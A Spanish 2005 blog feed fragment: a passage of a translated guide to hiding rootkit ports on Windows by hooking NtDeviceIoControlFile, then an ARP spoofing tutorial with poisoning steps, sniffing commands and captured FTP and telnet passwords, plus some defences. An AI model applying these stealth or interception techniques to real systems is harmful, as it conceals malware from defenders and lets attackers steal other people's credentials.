/&gt;  IN DWORD dwProtocolVersion;&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; DWORD WINAPI AllocateAndGetTcpExTableFromStack(&lt;br /&gt;  OUT PMIB_TCPTABLE_EX *pTcpTableEx,&lt;br /&gt;  IN BOOL bOrder,&lt;br /&gt;  IN HANDLE hAllocHeap,&lt;br /&gt;  IN DWORD dwAllocFlags,&lt;br /&gt;  IN DWORD dwProtocolVersion;&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; DWORD WINAPI AllocateAndGetUdpExTableFromStack(&lt;br /&gt;  OUT PMIB_UDPTABLE_EX *pUdpTableEx,&lt;br /&gt;  IN BOOL bOrder,&lt;br /&gt;  IN HANDLE hAllocHeap,&lt;br /&gt;  IN DWORD dwAllocFlags,&lt;br /&gt;  IN DWORD dwProtocolVersion;&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; Hay otra forma de hacer esto. Cuando un programa crea un socket y&lt;br /&gt;se pone a escuchar seguramente tiene un handle abierto para el y para el&lt;br /&gt;puerto abierto. Podemos enumerar todos los handles abiertos en el sistema y&lt;br /&gt;enviarles un buffer especial mediante NtDeviceIoControlFile para descubrir&lt;br /&gt;si el handle es para un puerto abierto o no. Esta dara tambien informacion&lt;br /&gt;sobre el puerto. Como hay muchos handles abiertos solo probaremos handles&lt;br /&gt;cuyo tipo sea File y nombre sea \Device\Tcp o \Device\Udp. Los puertos&lt;br /&gt;abiertos solo tienen handles de este tipo y nombre.&lt;br /&gt;&lt;br /&gt; Echando un vistazo al codigo de las funciones iphlpapi.dll que estan&lt;br /&gt;ahi arriba descubrimos que esas funciones tambien llaman a&lt;br /&gt;NtDeviceIoControlFiley envian buffers especiales para obtener una lista de&lt;br /&gt;todos los puertos abiertos en el sistema. Eso significa que la unica funcion&lt;br /&gt;que necesitamos para esconder puertos es NtDeviceIoControlFile.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NTSTATUS NtDeviceIoControlFile(&lt;br /&gt;  IN HANDLE FileHandle&lt;br /&gt;  IN HANDLE Event OPTIONAL,&lt;br /&gt;  IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,&lt;br /&gt;  IN PVOID ApcContext OPTIONAL,&lt;br /&gt;  OUT PIO_STATUS_BLOCK IoStatusBlock,&lt;br /&gt;  IN ULONG IoControlCode,&lt;br /&gt;  IN PVOID InputBuffer OPTIONAL,&lt;br /&gt;  IN ULONG InputBufferLength,&lt;br /&gt;  OUT PVOID OutputBuffer OPTIONAL,&lt;br /&gt;  IN ULONG OutputBufferLength&lt;br /&gt; ); &lt;br /&gt;&lt;br /&gt; Los argumentos interesantes para nosotros son FileHandle que especifica&lt;br /&gt;un handle o dispositivo con el que comunicar, IoStatusBlock que apunta a una&lt;br /&gt;variable que recibe el estado de completacion final e informacion sobre la&lt;br /&gt;operacion solicitada, IoControlCode que es un numero especificando el tipo del&lt;br /&gt;dispositivo, metodo, acceso de fichero y una funcion. InputBuffer contiene&lt;br /&gt;datos de entrada que son InputBufferLength bytes y similarmente OutputBuffer&lt;br /&gt;y OutputbufferLength.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 10.1 Netstat, OpPorts en WinXP, FPort en WinXP ]=========================&lt;br /&gt;&lt;br /&gt; Obtener una lista de todos los puertos abiertos es laa primera forma&lt;br /&gt;usada por ejemplo por OpPorts y FPort en Windows Xp y tambien Netstat.&lt;br /&gt; Estos programas llaman a NtDeviceIoControlFile dos veces con&lt;br /&gt;IoControlCode 0x000120003. OutputBuffer es escrito despues de una segunda&lt;br /&gt;llamada. El nombre de FileHandle es  siempre \Device\Tcp. InputBuffer difiere&lt;br /&gt;para distintos tipos de llamada:&lt;br /&gt;&lt;br /&gt; 1) Para obtener vector de MIB_TCPROW InputBuffer seria:&lt;br /&gt;&lt;br /&gt;primera llamada:&lt;br /&gt;0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;segunda llamada:&lt;br /&gt;0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; 2) Para obtener un vector de MIB_UDPROW:&lt;br /&gt;&lt;br /&gt;primera llamada:&lt;br /&gt;0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;segunda llamada:&lt;br /&gt;0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; 3) Para obtener un vector de MIB_TCPROW_EX:&lt;br /&gt;&lt;br /&gt;primera llamada:&lt;br /&gt;0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;segunda llamada:&lt;br /&gt;0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; 4) Para obtener un vector de MIB_UDPROW_EX:&lt;br /&gt;&lt;br /&gt;primera llamada:&lt;br /&gt;0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;segunda llamada:&lt;br /&gt;0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00&lt;br /&gt;0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0x00 0x00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Puedes ver que los buffer son distintos en unos cuantos bytes solo.&lt;br /&gt;Podemos claramente agrupar estos:&lt;br /&gt;&lt;br /&gt; Las llamadas en que estamos interesados tienen InputBuffer[1]&lt;br /&gt;puesto a 0x04 y principalmente InputBuffer[17] on 0x01. Solo despues de estos&lt;br /&gt;datos de entrada se llenara el OutputBuffer con las tablas deseadas. Si&lt;br /&gt;queremos obtener info sobre puertos TCP ponemos InputBuffer[0] a 0x00,&lt;br /&gt;y para UDP a 0x01. Si queremos tablas extendidas de salida&lt;br /&gt;(MIB_TCPROW_EX o MIB_UDPROW_EX) usamos Inputbuffer[16] en la segunda llamada&lt;br /&gt;puesta a 0x02.&lt;br /&gt; &lt;br /&gt; Si descubrimos la llamada con estos parametros podemos cambiar el&lt;br /&gt;buffer de salida. Para obtener numeros de filas en el buffer de salida&lt;br /&gt;simplemente dividimos Information de IoStatusBlock por el tamaño de la fila.&lt;br /&gt;Esconder una fila es facil ahora. Solo reescribelo con las filas siguientes&lt;br /&gt;y borra la ultima. No olvides cambiar OutputBufferLength y IoStatusBlock.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 10.2 OpPorts en Win2k y NT4, FPort en Win2k ]============================&lt;br /&gt;&lt;br /&gt; Usamos NtDeviceIoControlFile con IoControlCode 0x00210012 para&lt;br /&gt;determinar si el handle de tipo File y nombre \Device\Tcp o \Device\Udp&lt;br /&gt;es el handle del puerto abierto.&lt;br /&gt;&lt;br /&gt; Asique lo primero comparamos IoControlCode y entonces el tipo y nombre&lt;br /&gt;del hanlde. Si es todavia interesante entonces comparamos la longitud del&lt;br /&gt;buffer de entrada que deberia ser igual a la longitud de la estructura&lt;br /&gt;TDI_CONNECTION_IN. Esta longitud es 0x18. OutputBuffer es TDI_CONNECTION_OUT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; typedef struct _TDI_CONNECTION_IN&lt;br /&gt; {&lt;br /&gt;  ULONG UserDataLength,&lt;br /&gt;  PVOID UserData,&lt;br /&gt;  ULONG OptionsLength,&lt;br /&gt;  PVOID Options,&lt;br /&gt;  ULONG RemoteAddressLength,&lt;br /&gt;  PVOID RemoteAddress&lt;br /&gt; } TDI_CONNECTION_IN, *PTDI_CONNECTION_IN;&lt;br /&gt;&lt;br /&gt; typedef struct _TDI_CONNECTION_OUT&lt;br /&gt; {&lt;br /&gt;  ULONG State,&lt;br /&gt;  ULONG Event,&lt;br /&gt;  ULONG TransmittedTsdus,&lt;br /&gt;  ULONG ReceivedTsdus,&lt;br /&gt;  ULONG TransmissionErrors,&lt;br /&gt;  ULONG ReceiveErrors,&lt;br /&gt;  LARGE_INTEGER Throughput&lt;br /&gt;  LARGE_INTEGER Delay,&lt;br /&gt;  ULONG SendBufferSize,&lt;br /&gt;  ULONG ReceiveBufferSize,&lt;br /&gt;  ULONG Unreliable,&lt;br /&gt;  ULONG Unknown1[5],&lt;br /&gt;  USHORT Unknown2&lt;br /&gt; } TDI_CONNECTION_OUT, *PTDI_CONNECTION_OUT;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; La implementacion concreta de como determinar si el handle es&lt;br /&gt;puerto abierto esta disponible en el codigo fuente de OpPorts en&lt;br /&gt;http://hxdef.czweb.org (http://rootkit.host.sk).&lt;br /&gt; Estamos interesados en esconder un puerto especifico ahora. Ya&lt;br /&gt;comparamos InputBufferLength y IoControlCode. Ahora tenemos que comparar&lt;br /&gt;RemoteAddressLength. Esta es siempre 3 o 4 para un puerto abierto. La ultima&lt;br /&gt;cosa que tenemos que hcer es comparar ReceivedTsdus de OutputBuffer que&lt;br /&gt;contiene el puerto en formato network y nuestra lista de puertos que queremos&lt;br /&gt;esconder. La diferencia entre TCP y UDP esta en ell nombre del handle. Borrando&lt;br /&gt;OutputBuffer, cambiando IoStatusBlock y devolviendo el valor de&lt;br /&gt;STATUS_INVALID_ADDRESS esconderemos este puerto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;=====[ 11. Finalizando ]========================================================&lt;br /&gt;&lt;br /&gt; La implementacion las tecnicas aqui descritas estaran disponibles&lt;br /&gt;con las fuentes del Hacker Defender 1.0.0 en la pagina http://hxdef.czweb.org&lt;br /&gt;(http://rootkit.host.sk) o en http://www.rootkit.com.&lt;br /&gt; Es posible que añada mas información sobre invisibilidad en Windows NT&lt;br /&gt;en el futuro. Nuevas versiones de este documento podrian contener mejoras de&lt;br /&gt;las tecnicas comentadas.&lt;br /&gt; Agradecimientos especiales a Ratter que me enseño todo lo necesario&lt;br /&gt;para escribir este documento y escribir el Hacker Defender.&lt;br /&gt; Enviadme comentarios a holy_father@phreaker.net o al foro de&lt;br /&gt;http://hxdef.czweb.org (http://rootkit.host.sk.)&lt;br /&gt;&lt;br /&gt;(Saludos del traductor:&lt;br /&gt;holy_father-&gt; he aprendido muchas cosas te lo agradezco :D&lt;br /&gt;salu2 a Ale(spiderxd en hotmail.com)&lt;br /&gt;muxos besos Elenikkita :*** te kero &amp;amp; TF !!! :)&lt;br /&gt;&lt;br /&gt;===================================[ Fin ]======================================&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666107486974389?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666107486974389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666107486974389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666107486974389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666107486974389'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/tecnicas-para-esconder-archivos.html' title='Tecnicas para esconder archivos, servicios, procesos, ... Usando hooking de APIs.'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666104824624711</id><published>2005-05-21T00:37:00.000-07:00</published><updated>2005-05-21T00:37:28.253-07:00</updated><title type='text'>ARP Spoofing definicion, ataque y defensa Windows y Linux.</title><content type='html'>&lt;pre&gt;------------------------&lt;br /&gt;Intro&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Este es un pequeño tutorial sobre ARP spoofing en Windows y Linux.&lt;br /&gt;No es el mas completo pero contiene lo necesario para empezar.&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Que es ARP Spoofing?&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;ARP spoofing es un metodo en la que se explota la interacion de la IP y el protocolo de Ethernet.&lt;br /&gt;Esto permite al atacante ver todo lo que tu computadora manda y recibe.&lt;br /&gt;&lt;br /&gt;Un poco mas:&lt;br /&gt;Cuando tu computadora manda informacion a una red, necesita una forma de encontrar su destinario, esto se logra en varias capaz dependiendo de que tan lejos tiene que viajar. En la primera capa, se encuentra la direccion MAC. La direccion MAC solo se usa para comunicar dentro de segmentos de la red local, la cual se llaman subnets. Una vez que pasa por el router o switch y pasa a otro subnet entra a la segunda capa. En esta capa se tiene que transformar el MAC porque la base de datos seria demasiado grande para poder procesar rapidamente ya que la direccion de MAC es un hex de 48bits. Para esto existen diferentes servicios como DNS (Domain Name Service), WINS (Windows Internet Naming Service), y la IP (Internet Protocol) que se encargan del manejo de data. Para facilitar la transmicion de esta infomacion se invento ARP (Address Resolution Protocol).&lt;br /&gt;ARP se encarga de manejar la relacion entre el identificador MAC y la IP.&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Que pasa exactamente?&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Una computadora que esta conectada a una LAN Ethernet tiene dos direcciones, la MAC y la IP.&lt;br /&gt;La direccion MAC (Media Access Control) es la direccion fisica de tu tarjeta de red, tambien conocido como NIC (Network Interface Card). Esta direccion es "unica" y esta guardada en la tarjeta.&lt;br /&gt;La direccion MAC es necesaria ya que no se puede depender solamente de la IP para identificar a tu maquina en la red.&lt;br /&gt;Por ejemplo, si dos computadoras en una red empezaran a usar la misma IP, estarian competitiendo por su data y la conexion no se podria mantener, es por eso que es necesaria.&lt;br /&gt;&lt;br /&gt;La IP, como su nombre lo dice, es un protocolo que sirve para identificar a una computadora en el internet. Se podria decir que es unica por cada maquina pero "muchas maquinas pueden compartir IP si salen por proxy o gateway" (hkm) ah y claro, se puede spofear. Ethernet crea frames de data que tienen un header conteniendo tu direccion de MAC y la del destinario. Similarmente, la IP crea paquetes de data parecidas a las del Ethernet pero con diferente estructura. Para que se pueda mandar este paquete, tiene que pasar por el Data Link Library, en este caso vendria siendo el Ethernet. Ethernet divide los paquetes en frames, le agrega su header y los manda hasta que llega al switch. Cuando llega al switch, ella decide a que puerto mandar el frame, comparando la direccion destinataria del frame con la tabla interna la cual mapea puertos con direcciones de MAC.&lt;br /&gt;Para que se pueda crear una frame de Ethernet, tiene que ser construido de un paquete de IP. Al momento en que se contruye el frame, no se sabe la direccion MAC que es necesaria para su header, solo tiene la direccion de IP del destinario conseguida por el IP header. Para obtener la direccion MAC de la maquina destinaria se manda un paquetes de Request Arp en modo broadcast. Esto basicamente le pregunta a toda las maquinas en la red si su direccion de IP es x.x.x.x y si lo es, la maquina le contesta con su MAC.&lt;br /&gt;Para disminuir la cantidad de paquetes ARP Request que se mandan, el OS (Sistema Operativo) guarda una lista cache de ARP Replies, conocida como el Arp Table. Cuando una maquina recibe un ARP reply, actualiza su ARP Cache con la nueva IP/MAC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Aplicando la maciza&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Como dice el titulo, aqui es donde uno se aprovecha del ARP Table. Al mandar ARP Replies modificados a 'maquina A', engañas a la maquina que te mande los paquetes a ti(maquina C) envez de 'maquina B'. Para mantener la comunicacion entre las maquinas tienes que redireccionar los paquetes. Este tipo de ataque se le conoce como "Man in the middle" o "ARP Poisoning". Todo esto sucede sin que 'Maquina A' se de cuenta y se puede hacer facilmente con programas, si no es una weba.&lt;br /&gt;&lt;br /&gt;  COMPUTADORA A &lt;---------&gt;&lt;--------&gt; COMPUTADORA B   ~~~~~~    ANTES DEL ATAQUE&lt;br /&gt;&lt;br /&gt;  COMPUTADORA A &lt;---------&gt;&lt;-- COMPUTADORA C --&gt;&lt;--------&gt; COMPUTADAORA B   ~~~~~~    DESPUES DEL ATAQUE&lt;br /&gt;&lt;br /&gt;(espero que se entienda esto)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- 'Maquina C' envenena el ARP CACHE de 'Maquina A y C'&lt;br /&gt;- 'Maquina A' associa la IP de 'Maquina B' con la MAC de 'Maquina C'&lt;br /&gt;- 'Maquina B' associa la IP de 'Maquina A' con la MAC de 'Maquina C'&lt;br /&gt;-  Todo el trafico de 'Maquina A y B' pasara por 'Maquina C' primero envez de llegarle a ellos directamente, luego 'Maquina      C' redireccionara el trafico a la maquina correspondiente.&lt;br /&gt;&lt;br /&gt;Es importante reconocer que no solo la tarjeta de red tiene direccion MAC, es usado para cualquier aparato de red como routers, modems, impresoras y switches lo usan.&lt;br /&gt;Para esto, no solo computadoras pueden ser envenenados, si no routers/gateways igual. En otras palabras, puedes hacer ARP Poisoning a una computadora y a un router, asi interceptando toda la informacion que sale y entra al internet de esa computadora. Ten en mente que tienes que activar una funcion del sistema operativo que se llama IP forwarding, algunos programas pueden hacer eso por ti, si no lo puedes hacer tu modificando el registro.&lt;br /&gt;&lt;br /&gt;1.- Abre Regedit (Start/Run/Regedit)&lt;br /&gt;&lt;br /&gt;2.- Agrega esto: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&lt;br /&gt;&lt;br /&gt;3. Pon este valor en el registro: Value Name: IPEnableRouter&lt;br /&gt;      Value type: REG_DWORD&lt;br /&gt;      Value Data: 1&lt;br /&gt;&lt;br /&gt;El valor 1 activa el TCP/IP forwarding en toda las conexiones de red instaladas en la maquina.&lt;br /&gt;&lt;br /&gt;4.- Ya chingaste!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;MAC Flooding&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;MAC Flooding solo es necesario cuando andan detras de un switch. La diferencia de un HUB y un switch es la manera en que controlan los paquetes. Un switch es mas inteligente y guarda la localizacion de donde esta conectado cada dispositivo. Asi  no se permite que intercepten la conexion. Pero, como todo, hay una forma de pasarlo. Al mandar varios spoofed ARP Replies al ARP Table del switch, el switch entra a "hub" mode. Esto pasa porque le haces flood a su ARP Table y se llena, el switch queda muy ocupado para poder checar la localizacion de cada paquete y cambia a modo hub. Un buen programa para esto en *nix es Parasite. Parasite busca ARP Requests en una LAN y automaticamente manda spoofed ARP Replies. Esto logra un Man in the Middle en una switch. Parasite no limpia bien su desmadre cuando deja de correr, causando un ataque DoS (Denial of Service) en su maquina. Esto pasa porque su ARP Cache esta apuntando a una MAC que ya no esta redireccionando sus frames. Entradas ARP deberan expirar antes de poder continuar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Cloning&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Para cambiar tu MAC Address en Linux se requieren solo dos comandos en la consola.&lt;br /&gt;&lt;br /&gt;ifconfig eth0 down hw ether 00:00:00:00:00:01&lt;br /&gt;&lt;br /&gt;ifconfig eth0 up&lt;br /&gt;&lt;br /&gt;o tambien podrias bajar un programa como "MAC Changer" aunque no lo veo necesario.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;En Windows es mas complicado como suele ser con varias cosas de configurabilidad.&lt;br /&gt;Se puede hacer de dos maneras tambien.&lt;br /&gt;&lt;br /&gt;La primera como podrias haber adivinado es moviendole al registro.&lt;br /&gt;Toda la informacion de tus NICs se encuentran en:&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}pero no ire a mas detalle ya que hkm tiene un buen texto sobre esto (http://hakim.ws/textos/MACSpoofing.txt).&lt;br /&gt;&lt;br /&gt;La segunda manera vendria siendo con un programa&lt;br /&gt;Ya sea SMAC o Etherchange aunque recomiendo Etherchange.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Defensa&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Como ARP Cache Poisoning es el resultado de una falta de seguridad en el protocolo requerido para que el TCP/IP funcione, no hay forma de arreglarlo pero existen metodos para prevenirlo.&lt;br /&gt;&lt;br /&gt;1.- Puedes usar direcciones de IP y ARP Tables fijas. Usando ipconfig /all en la consola de Windows o ifconfig en la de 'NIX, puedes ver la direccion de MAC e IP de cada dispositivo en la red. Luego usando arp -s puedes agregar una entrada fija ARP para todo tus dispositivos conocidos. Aunque, entradas fijas de ARP son dificiles de mantener en redes grandes. Eso es porque cada dispositivo tendria que se agregado manualmente a la ARP Table. Ejemplo: arp -s 10.0.0.80 00-AA-00-4F-2A-9C&lt;br /&gt;&lt;br /&gt;2.- Puedes configurar una opcion que se llama "Port Security" tambien conocido como "Port Binding" o "Mac Binding" en tu switch que permite que solo una direccion de MAC sea asignada por cada puerto fisico en el switch. Esto previene al atacante mapear su MAC Address con un dispositivo de la red.&lt;br /&gt;&lt;br /&gt;3.- Existen programas que analizan los paquetes ARP y te avisa si hay actividad rara. Uno es ARPWatch que es para *nix, puedes encontrar su link bajo "Tools".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Ejemplos&lt;br /&gt;----------------------------------&lt;br /&gt;Bueno, mostrare unos ejemplos haciendo esto en Windows y Linux.&lt;br /&gt;&lt;br /&gt;Windows&lt;br /&gt;--------&lt;br /&gt;Primer paso fue abrir Cain and Abel, de aqui hice click en Sniffer, y esto busco todo los dipositovos en la red.&lt;br /&gt;&lt;br /&gt;IP address MAC address OUI fingerprint&lt;br /&gt;&lt;br /&gt;192.168.1.102  0001E6900069  Hewlett-Packard Company&lt;br /&gt;192.168.1.109 000625108A24 The Linksys Group, Inc.&lt;br /&gt;192.168.1.1 001217CDA4B6 Cisco-Linksys, LLC&lt;br /&gt;192.168.1.104 0030652BB823 APPLE COMPUTER, INC.&lt;br /&gt;192.168.138.254 005056F3C76E VMWare, Inc.&lt;br /&gt;&lt;br /&gt;Luego en el TAB inferior me voy a APR y le hago click a la cruz azul, esto me permite agregar 'Maquina A y B' para envenenar. Una vez que ya hayas agregado las dos maquinas, haz click en los primeros dos botones (El primero que es como un chip, este es para snifear, y el segundo, el simbolo de actividad nuclear que sirve para envenenar.&lt;br /&gt;&lt;br /&gt;Status    IP address  MAC adress  Packets -&gt;  &lt;- Packets  MAC address  IP address&lt;br /&gt;Poisoning 192.168.1.104 0030653BB823 2,268  2013  001217CDA4B6 192.168.1.1&lt;br /&gt;&lt;br /&gt;Como pueden ver, he envenenado la conexion de la computadora Apple que esta corriendo Mac OS X y la de mi router.&lt;br /&gt;De aqui le puedo hacer click en el tab inferior donde dice Passwords y me mostrara los passwords que ha snifeado.&lt;br /&gt; &lt;br /&gt;Timestamp        FTP Server Client  Username Password&lt;br /&gt;21/04/2005 - 01:58:10   63.19.24.66 192.168.1.104 userName yElPassword&lt;br /&gt;&lt;br /&gt;Y asi de facil es ya que Ftp, Telnet, MSN, y otros protocolos no encriptan la informacion que manda y lo muestra en Plain Text. Ahora les enseñare de Etherreal, que igual snifea conexiones.&lt;br /&gt;Lo abro, hago click en el primer boton y me aparece una ventana de opciones&lt;br /&gt;Aqui escoges tu dispositivo en Interface, puedes agregar filtros para que busque ciertas palabras o cosas mientras snifea pero yo solo le hago click a Enable network name resolution y le doy a OK. Esto empieza a capturar todo tipo de paquetes. Despues de un ratito le doy stop y me muestra todo lo que capturo aunque en display options puedes poner la opcion que muestre los paquetes en tiempo real. De aqui me voy a File/EXport/"As Plan Text"&lt;br /&gt;Al abrir el archivo que exporte veo todo tipo de cosas, como paginas que estan viendo, conversaciones de msn y un username y password para una cuenta de FTP.&lt;br /&gt;&lt;br /&gt;File Transfer Protocol (FTP)&lt;br /&gt;   220---------- Welcome to Pure-FTPd [TLS] ----------\r\n&lt;br /&gt;       Response code: Service ready for new user (220)&lt;br /&gt;       Response arg: --------- Welcome to Pure-FTPd [TLS] ----------&lt;br /&gt;   220-You are user number 4 of 50 allowed.\r\n&lt;br /&gt;   220-Local time is now 16:50. Server port: 21.\r\n&lt;br /&gt;   220 You will be disconnected after 15 minutes of inactivity.\r\n&lt;br /&gt;&lt;br /&gt;No.     Time        Source                Destination           Protocol Info&lt;br /&gt;   167 32.974860   192.168.1.104         host.com            TCP      55678 &gt; ftp [ACK] Seq=1 Ack=205 Win=33580 Len=0&lt;br /&gt;File Transfer Protocol (FTP)&lt;br /&gt;   USER userName\r\n&lt;br /&gt;       Request command: USER&lt;br /&gt;       Request arg: userName&lt;br /&gt;&lt;br /&gt;No.     Time        Source                Destination           Protocol Info&lt;br /&gt;   182 36.314851   host.com            192.168.1.104         TCP      ftp &gt; 55678 [ACK] Seq=205 Ack=15 Win=5840 Len=0&lt;br /&gt;&lt;br /&gt;Frame 182 (54 bytes on wire, 54 bytes captured)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Checksum: 0x933d (correct)&lt;br /&gt;File Transfer Protocol (FTP)&lt;br /&gt;   331 User userName OK. Password required\r\n&lt;br /&gt;       Response code: User name okay, need password (331)&lt;br /&gt;       Response arg: User userName OK. Password required&lt;br /&gt;&lt;br /&gt;No.     Time        Source                Destination           Protocol Info&lt;br /&gt;   206 41.968925   192.168.1.104         host.com            FTP      Request: PASS yElPassword&lt;br /&gt;&lt;br /&gt;File Transfer Protocol (FTP)&lt;br /&gt;   PASS yElPassword\r\n&lt;br /&gt;       Request command: PASS&lt;br /&gt;       Request arg: yElPassword&lt;br /&gt;&lt;br /&gt;MSN Messenger Service&lt;br /&gt;   MSG 869 N 151\r\n&lt;br /&gt;   MIME-Version: 1.0\r\n&lt;br /&gt;   Content-Type: text/plain; charset=UTF-8\r\n&lt;br /&gt;   X-MMS-IM-Format: FN=Letter%20Gothic%20MT; EF=; CO=ff0000; CS=0; PF=32\r\n&lt;br /&gt;   \r\n&lt;br /&gt;   hoy la peda o que?      &lt;------------   Igual se ven convesaciones de MSN Messenger, esto se puede evitar&lt;br /&gt;         Con programas como SimpLite que encripta el mensaje antes de mandarlo,                en Linux puedes usar algun messenger como Kopete que tiene un plugin para hacer            esto. Solo funciona si la otra persona igual lo esta usando.&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;------&lt;br /&gt;Este no sera tan extenso porque estoy sacando el ejemplo de un libro (HACKING the art of explotacion - Recomendado)&lt;br /&gt;&lt;br /&gt;Primero es necesario entrar a modo promiscuo, en Windows igual haces esto pero los programas lo hacen automaticamente.&lt;br /&gt;&lt;br /&gt;consola$ ifconfig eht0&lt;br /&gt;BROADCAST MULTICAST MTU:1500 Metric:1&lt;br /&gt;&lt;br /&gt;consola$ ifconfig eth0 promisc&lt;br /&gt;consola$ ifconfig eth0&lt;br /&gt;BROADCAST PROMISC MULTICAST MTU:1500 Metric:1&lt;br /&gt;consola$ tcpdump -l -X 'ip host 192.168.1.104'&lt;br /&gt;tcpdump: listining on eth0&lt;br /&gt;y mostrara el dump de todo capturado.&lt;br /&gt;&lt;br /&gt;o mas facil...&lt;br /&gt;&lt;br /&gt;consola$ dsniff -n&lt;br /&gt;dsniff: listening on eth0&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;12/10/02 21:43:21 tcp 192.168.1.104.32782 -&gt; 192.168.0.118.21 (ftp)&lt;br /&gt;USER leech&lt;br /&gt;PASS l8@nite&lt;br /&gt;&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;12/10/02 21:43:21 tcp 192.168.1.104.32785 -&gt; 192.168.0.118.23 (telnet)&lt;br /&gt;USER root&lt;br /&gt;PASS 5eCr3t&lt;br 